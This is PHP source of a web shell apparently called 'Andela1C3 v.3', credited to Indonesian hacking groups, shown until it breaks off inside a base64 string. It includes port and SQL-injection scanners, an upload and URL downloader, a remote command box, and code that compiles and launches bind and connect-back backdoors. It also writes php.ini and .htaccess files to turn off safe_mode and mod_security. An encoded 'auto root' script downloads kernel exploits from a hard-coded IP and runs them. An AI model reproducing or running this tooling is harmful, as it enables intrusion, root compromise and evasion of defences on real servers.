function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo " $ip : $o_port ??? <u style=\"color: white\">Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post"><table class="tabnet">
<tr><th colspan="5">Website Whois</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:white;background-color:#000000" class="inputz" value="site.com" />   <input class="inputzbut" type="submit" style="color:white;background-color:#000000" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
<div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class=\"ru\"> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class=\"ru\">
<pre>".sws_domain_info($site)."</pre></div>";
flush();
echo "
<div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_net_info($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_sup_dom($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_site_ser($site)."</pre> </div>
<div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
flush();
}
echo '</center>';
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=about" method="post">
<br><br><br><center>Andela1C3 v.3 ini adalah beberapa gabungan dari shell 1n73ction , AnonGhost , DM Team
<br> terimakasih X'1n73ct , Mauritania Attacker , Andripzf....
<br> Shell ini saya jamin aman tanpa logger & malware satupun ^_^
<br> Dibuat pada tanggal : 06 - Februari - 2015 <br>
<br> Andela1C3 v.3 Coded by Mr.HaurgeulisX196
<br>
<br>
Big Thank's To :
<marquee direction="left" scrollamount="4" bgcolor="" >
X'1n73ct | AnonGhost | DM Team | Indonesian Cyber Freedom | PhantomGhost | Sanjungan Jiwa | Indonesian Fighter Cyber | Java Cyber Army | My Self :D Haurgeulis Security | Indonesian Security Tester | Extreme Crew | 196 Team | Dan semua grup hacking yang pernah saya kunjungi ^_^
</marquee>
<br>
<br>
Indonesian Cyber Freedom :
<marquee direction="left" scrollamount="4" bgcolor="" >
dEnny_Attacker | Mr.DellatioNx196 | SvN_NeVerMore | Ardana_ID | Achan Dot ID | CaptSalkus48 | Mr.HaurgeulisX196 |
SengkeL | Railver6 | people_hurt | Wall-e83 | TOGEL3739 | Hit Gir'l | Ghost99 | Seringhai | Zomb0x | rona404 | xpecto
</marquee>
<br>
<br>
Teman Temanku :
<marquee direction="left" scrollamount="4" bgcolor="" >
Mr.Dha | Mr.PhoeniX1337 | Ismail Attacker | Sinkaroid | Ice-Cream | Dawn Angel | Eitaro Attacker | 4prili666h05T | ./dutchm4n | MR.WWW | Q | Isal Dot ID | Della Haxor | Mr. BlackList |
Mr.Chucky | ./DeathBat6661 | 3l-muh4j1m1 | ./L1ght_R00t | AxCalvin1st | lightning148 | ./BlaDDzeRR |
_0R4K4L4P_ | aAn | VirgVorg-45 | Mr.Oxygen | ./BadBoyz | Mr.AchanX48 | Mr.ApaPedulimu |
AllandXT.php404 | Mr.ShadowX197 | devilbandit | Server404 | AxE Dot Id
<?php
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<br><br><center><form method="post" action=""><b><font color="white">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:white;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:white;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
/////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcsexploiter')){@ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcsexploiter" method="post">
<center><br><br><b>+--=[ WHMCS EXPLOIT VULNERABILITY SCANNER ]=--+</b><br><br>
<?php
echo '<br><br><center><form method="post" action=""><b><font color="white">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:white;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:white;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
//////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
if(isset($_POST['uploadcomp'])){
if(is_uploaded_file($_FILES['file']['tmp_name'])){
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $fname";
}
else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$path = magicboom($_POST['path']);
$namafile = download($pilihan,$wurl);
$pindah = $path.$namafile;
if(is_file($pindah)) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $namafile";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "error: file not found $namafile";
}
?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php }
else {
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
$file = $_GET['delete'];
@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
$path = $pwd.$_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?>
<br>
<br>
<center>
<br><input class=inputzbut align=left type=submit name=ini value="Generate PHP.ini File" />
<?php
if(isset($_POST['ini']))
{
$byht = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
file_put_contents("php.ini",$byht);
echo "<script>alert('ByPassCompleted'); hideAll();</script>";
die();
}
?>
<br><table class="tabnet" >
<tr><form method="post" action=""> <td><select class="inputzbut" align="left" name="pilihan" id="pilih"><option value=""selected>------[ Select Your Favorit Tools ]------</option><option value="htasell">htaccess Shell [ .htaccess ]</option><option value="rrot" >Perl Auto Rooting [ r00t.pl ]</option><option value="inisial" >PHP Auto Rooting [ r00t.php ]</option><option value="slc" >Server Log Cleaner [ serverLC.sh ]</option><option value="port" >Python Open Port 13123 [ port.py ]</option><option value="ini">Bypass Disable Function in Apache</option><option value="inis">Bypass Disable Function in Litespeed</option></select>
<input type="submit" name="submites" class="inputzbut" value="Created">
</td></form></tr></table>
<?php
$submit = $_POST ['submites'];
if(isset($submit)) {
$pilih = $_POST['pilihan'];
if ( $pilih == 'ini') {
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
$iniphp = '<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"];
?>';
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
file_put_contents("ini.php",$iniphp);
echo "<script>alert('Disable Functions in Apache Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'inis') {
$iniph = '<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"];
?>';
$byph = "safe_mode = Off
disable_functions= ";
$comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
file_put_contents("php.ini",base64_decode($byph));
file_put_contents("ini.php",base64_decode($iniph));
file_put_contents(".htaccess",base64_decode($comp));
echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'inisial') {
$rroter ="IyEvdXNyL2Jpbi9waHAgDQo8P3BocCANCi8qIA0KIyBBdXRvIHJvb3QgMjAxMyBEZXZlbG9wcGVkIGJ5IE1hdXJpdGFuaWEgQXR0YWNrZXINCiMgd3d3Lm1hdXJpdGFuaWEtc2VjLmNvbQ0KIyBodHRwczovL3d3dy5mYWNlYm9vay5jb20vbWF1cml0YW5pZS5mb3JldmVyDQojIDwzIEFub25HaG9zdCA8MyANCiovIA0Kc2V0X3RpbWVfbGltaXQoMCk7IA0Kc3lzdGVtKCJjbGVhciIpOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS0tLS0tfFxuIjsgDQpwcmludCAifFBIUCBBdXRvIFJvb3QgYnkgTWF1cml0YW5pYSBBdHRhY2tlciAgICAgICAgICAgICAgIHxcbiI7IA0KcHJpbnQgInwtLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLS0tLS0tLS0tLS18XG4iOyANCnByaW50ICJ8Q29udGFjdDogZmIuY29tL21hdXJpdGFuaWUuZm9yZXZlciAgICAgICAgICAgICAgICAgfFxuIjsgDQpwcmludCAifFByaXY4IFZlcnNpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7IA0KcHJpbnQgInxSb290aW5nOiBMaW51eCBhbmQgRnJlZUJTRCAgICAgICAgICAgICAgICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8PDMgQW5vbkdob3N0IDwzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfFxuIjsgDQpwcmludCAifC0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tLS0tLS0tLS0tLXxcbiI7IA0Kc2xlZXAoNCk7IA0KcHJpbnQgIlxuS2VybmVsIHRvIHZlcmlmeTpcbiI7IA0KcHJpbnQgImxueCBvciBic2Q6ICI7IA0KJGtlcm5lbCA9IGZnZXRzKFNURElOKTsgDQoka2VybmVsID0gdHJpbSgka2VybmVsKTsgDQppZigka2VybmVsID09ICJsbngiKSANCnsgDQpwcmludCAifC0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tLS0tLS0tLS18XG4iOyANCnByaW50ICJ8UEhQIEF1dG8gUm9vdCBieSBNYXVyaXRhbmlhIEF0dGFja2VyICAgICAgICAgICAgIHxcbiI7IA0KcHJpbnQgInwtLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLS0tLS0tLS0tfFxuIjsgDQpwcmludCAifFNlbGVjdGVkIGtlcm5lbCA6IHxMaW51eCBhcnF8ICAgICAgICAgICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS0tLXxcbiI7IA0Kc2xlZXAoMik7IA0KcHJpbnQgIlxuWytdIFRlc3RpbmcgbG54IHhwbCdzIHBsZWFzZSB3YWl0LlxuIjsgDQpwcmludCAiW35dIE1lYW53aGlsZSBzbW9rZSBhIGNpZ2FyZXQgWEQgKDpcbiI7IA0Kc2xlZXAoMik7IA0Kc3lzdGVtKCJta2RpciBsbng7Y2QgbG54LyIpOyANCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuM2FsbCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zYWxsIik7IA0Kc3lzdGVtKCIuLzIuNi4zYWxsIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTciKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTciKTsgDQpzeXN0ZW0oIi4vMi42LjE3Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTgiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgiKTsgDQpzeXN0ZW0oIi4vMi42LjE4Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTgtNiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02Iik7IA0Kc3lzdGVtKCIuLzIuNi4xOC02Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTgtMjAiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMjAiKTsgDQpzeXN0ZW0oIi4vMi42LjE4LTIwIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzIiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzIiKTsgDQpzeXN0ZW0oIi4vMi42LjMyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzJfaTY4NiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMl9pNjg2Iik7IA0Kc3lzdGVtKCIuLzIuNi4zMl9pNjg2Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzJuaW5lIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjMybmluZSIpOyANCnN5c3RlbSgiLi8yLjYuMzJuaW5lIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzMiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzMiKTsgDQpzeXN0ZW0oIi4vMi42LjMzIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzQiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQiKTsgDQpzeXN0ZW0oIi4vMi42LjM0Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzQtMjAxMSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNC0yMDExIik7IA0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzciKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzciKTsgDQpzeXN0ZW0oIi4vMi42LjM3Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzdyYzIiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzdyYzIiKTsgDQpzeXN0ZW0oIi4vMi42LjM3cmMyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzctcmMyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3LXJjMiIpOyANCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzktMjAxMSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zOS0yMDExIik7IA0Kc3lzdGVtKCIuLzIuNi4zOS0yMDExIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzktMjAxMS0yMDEyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM5LTIwMTEtMjAxMiIpOyANCnN5c3RlbSgiLi8yLjYuMzktMjAxMS0yMDEyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYueCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi54Iik7IA0Kc3lzdGVtKCIuLzIuNi54Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8xNSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDE1Iik7IA0Kc3lzdGVtKCIuLzE1Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yMDEwLTEiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyMDEwLTEiKTsgDQpzeXN0ZW0oIi4vMjAxMC0xIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9hYiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGFiIik7IA0Kc3lzdGVtKCIuL2FiIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9jIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgYyIpOyANCnN5c3RlbSgiLi9jIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9lbDVpMzg2Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZWw1aTM4NiIpOyANCnN5c3RlbSgiLi9lbDVpMzg2Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9lbDV4ODYiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBlbDV4ODYiKTsgDQpzeXN0ZW0oIi4vZWw1eDg2Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9lbGZsYmwiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsgDQpzeXN0ZW0oIi4vZWxmbGJsIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHAxIik7IA0Kc3lzdGVtKCJjaG